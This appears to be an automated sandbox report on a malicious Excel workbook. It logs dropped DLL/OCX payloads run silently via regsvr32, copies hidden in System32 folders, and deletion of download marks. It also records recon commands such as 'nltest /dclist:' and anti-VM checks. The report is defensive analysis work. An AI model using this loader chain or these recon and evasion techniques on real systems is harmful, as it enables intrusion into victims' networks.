Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0028093C	4_2_0028093C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00286F3C	4_2_00286F3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027A130	4_2_0027A130
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026D300	4_2_0026D300
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00283304	4_2_00283304
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00262708	4_2_00262708
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027EB08	4_2_0027EB08
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00284918	4_2_00284918
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00273D1C	4_2_00273D1C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027F764	4_2_0027F764
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0028796C	4_2_0028796C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00270B60	4_2_00270B60
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026CB6C	4_2_0026CB6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026DB74	4_2_0026DB74
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0028B570	4_2_0028B570
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00276978	4_2_00276978
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00270578	4_2_00270578
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00277144	4_2_00277144
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00263F40	4_2_00263F40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00286B40	4_2_00286B40
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00264948	4_2_00264948
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0028155C	4_2_0028155C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00268F5C	4_2_00268F5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00279D5C	4_2_00279D5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027B558	4_2_0027B558
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00289DA8	4_2_00289DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002727A4	4_2_002727A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002693AC	4_2_002693AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027C5AC	4_2_0027C5AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027EFAC	4_2_0027EFAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026B1A8	4_2_0026B1A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00267BB4	4_2_00267BB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00273BB4	4_2_00273BB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00280DBC	4_2_00280DBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00277DB0	4_2_00277DB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002729BC	4_2_002729BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026ED84	4_2_0026ED84
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026F580	4_2_0026F580
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00271B88	4_2_00271B88
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00272F94	4_2_00272F94
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00274594	4_2_00274594
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00276594	4_2_00276594
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00288990	4_2_00288990
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00265198	4_2_00265198
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026AFE4	4_2_0026AFE4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026B3E4	4_2_0026B3E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002793E0	4_2_002793E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002799F4	4_2_002799F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002813FC	4_2_002813FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002631F0	4_2_002631F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027D9C4	4_2_0027D9C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00262DC0	4_2_00262DC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026DFCC	4_2_0026DFCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0026EFCC	4_2_0026EFCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002807D0	4_2_002807D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00283DD4	4_2_00283DD4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_002625D8	4_2_002625D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027ABD8	4_2_0027ABD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_001D0000	5_2_001D0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02137E28	5_2_02137E28
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0213B6BC	5_2_0213B6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02115B18	5_2_02115B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212EB08	5_2_0212EB08
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02128B3C	5_2_02128B3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02121B88	5_2_02121B88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02127414	5_2_02127414
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212A804	5_2_0212A804
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212FC70	5_2_0212FC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211CCC8	5_2_0211CCC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212BD64	5_2_0212BD64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02123210	5_2_02123210
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02123610	5_2_02123610
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02123E18	5_2_02123E18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212F61C	5_2_0212F61C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02132E04	5_2_02132E04
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02135E30	5_2_02135E30
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212F238	5_2_0212F238
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02132638	5_2_02132638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212D620	5_2_0212D620
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212762C	5_2_0212762C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211E254	5_2_0211E254
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212D254	5_2_0212D254
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211FE58	5_2_0211FE58
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0212EE5C	5_2_0212EE5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02139A40	5_2_02139A40
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211F290	5_2_0211F290
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0213BE90	5_2_0213BE90
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211B698	5_2_0211B698
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02116698	5_2_02116698
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02113A9C	5_2_02113A9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0213369C	5_2_0213369C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02120680	5_2_02120680
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_021246B4	5_2_021246B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211B2BC	5_2_0211B2BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_021376A4	5_2_021376A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_021316A8	5_2_021316A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0211FAD0	5_2_0211FAD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02129EC0	5_2_02129EC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02130AC4	5_2_02130AC4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02134EF4	5_2_02134EF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_021312FC	5_2_021312FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02132AFC	5_2_02132AFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_021172E0	5_2_021172E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_021136E0	5_2_021136E0

Source: informe_30062022.xls	Virustotal: Detection: 58%
Source: informe_30062022.xls	Metadefender: Detection: 36%
Source: informe_30062022.xls	ReversingLabs: Detection: 57%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FkxtdJN\mBcpRLOoPTlB.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm2.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PjLQNSdPqGYp\jncSJNcDE.dll"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm3.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YttRusg\GisEpTWmOuS.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm4.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\nltest.exe nltest /dclist:
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\nltest.exe nltest /dclist:
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\sctm4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FkxtdJN\mBcpRLOoPTlB.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\nltest.exe nltest /dclist:	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PjLQNSdPqGYp\jncSJNcDE.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\nltest.exe nltest /dclist:	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YttRusg\GisEpTWmOuS.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\sctm1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR4E1F.tmp

Jump to behavior

Source: FA4F.tmp.6.dr

Binary string: Boot Device: \Device\HarddiskVolume1

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@30/27@4/6

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_00000001800016A8 CoInitialize,RtlAllocateHeap,CoTaskMemFree,VirtualAlloc,ShowWindow,CoInitialize,CoCreateInstance,CoUninitialize,MessageBoxA,

3_2_00000001800016A8

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: informe_30062022.xls	OLE indicator, Workbook stream: true
Source: informe_30062022.xls.0.dr	OLE indicator, Workbook stream: true
Source: ~DFE0F93AF5A2719FD8.TMP.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_0215A804 Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,CloseHandle,

3_2_0215A804

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: informe_30062022.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_02148C72 push ebp; ret	3_2_02148C7D
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_02118C72 push ebp; ret	5_2_02118C7D
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00288C72 push ebp; ret	8_2_00288C7D
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_020E8C72 push ebp; ret	10_2_020E8C7D

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FkxtdJN\mBcpRLOoPTlB.dll"

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /all

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\LEPqPJpt4Gbr8BHAn[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm2.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\PjLQNSdPqGYp\jncSJNcDE.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FkxtdJN\mBcpRLOoPTlB.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\zz64mUdXWhBECsusJb[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Wli[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm4.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\YttRusg\GisEpTWmOuS.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\pgsfQZfg7Qt[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll (copy)	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\PjLQNSdPqGYp\jncSJNcDE.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FkxtdJN\mBcpRLOoPTlB.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\YttRusg\GisEpTWmOuS.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm4.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sctm4.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\FkxtdJN\mBcpRLOoPTlB.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\PjLQNSdPqGYp\jncSJNcDE.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\YttRusg\GisEpTWmOuS.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\QzcjqbzQKbaqqJI\jmihwBcHbqy.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_0000000180006484 RtlEncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_0000000180006484

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapter
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapter

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BIOS

Source: C:\Windows\System32\regsvr32.exe TID: 2496	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2656	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2076	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2616	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2592	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1364	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2640	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1216	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe TID: 1260	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\ipconfig.exe TID: 2772	Thread sleep time: -120000s >= -30000s

Source: C:\Windows\System32\regsvr32.exe	Code function: EnumServicesStatusExW,		3_2_0215DD40
Source: C:\Windows\System32\regsvr32.exe	Code function: EnumServicesStatusExW,		5_2_0212DD40

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\LEPqPJpt4Gbr8BHAn[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\zz64mUdXWhBECsusJb[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Wli[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\pgsfQZfg7Qt[1].dll	Jump to dropped file

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0027C9F0 FindFirstFileW,FindNextFileW,	4_2_0027C9F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0215C9F0 FindFirstFileW,FindNextFileW,	6_2_0215C9F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_020EC9F0 FindFirstFileW,FindNextFileW,	9_2_020EC9F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_0029C9F0 FindFirstFileW,FindNextFileW,	11_2_0029C9F0

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
